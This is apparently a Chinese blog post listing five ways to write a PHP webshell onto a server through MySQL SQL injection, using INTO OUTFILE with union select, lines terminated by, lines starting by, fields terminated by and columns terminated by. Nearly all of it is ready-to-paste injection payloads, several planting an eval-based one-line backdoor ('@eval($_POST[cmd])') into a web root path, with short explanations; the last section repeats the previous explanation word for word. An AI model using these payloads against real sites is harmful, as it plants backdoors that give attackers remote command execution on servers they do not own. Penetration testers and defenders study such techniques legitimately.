mysql写入一句话的方式

本文详细介绍了通过SQL注入漏洞在目标服务器上写入WebShell的多种方法,包括使用unionselect、linesterminatedby、linesstartingby、fieldsterminatedby和COLUMNSterminatedby等语句实现文件写入。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、union select 后写入
最常见的写入方式,union select 后跟 into outfile 语句

1’ union select 1,2,’<?php @eval($_POST[cmd]);?>’ into outfile “C:\phpStudy\PHPTutorial\WWW\shell.php” --+
1’ union select 1,2,’<?php @eval($_POST[cmd]);?>’ into outfile “C:/phpStudy/PHPTutorial/WWW/shell.php” --+
注意:在windows下,位置的分隔符为 / 或 \。

二、lines terminated by 写入

id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ lines terminated by ‘<?php @eval($_POST[cmd]);?>’ --+
id=1’ limit 1 into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ lines terminated by ‘<?php phpinfo() ?>’ --+

通过select语句查询的内容写入文件,也就是 1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ 这样写的原因,
然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

三、lines starting by 写入

?id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ lines starting by ‘<?php phpinfo() ?>’; --+
利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。

四、fields terminated by 写入

?id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ fields terminated by ‘<?php phpinfo() ?>’ --+
利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

五、COLUMNS terminated by 写入

?id=1’ into outfile ‘C:/phpStudy/PHPTutorial/WWW/shell.php’ COLUMNS terminated by ‘<?php phpinfo() ?>’ --+
利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值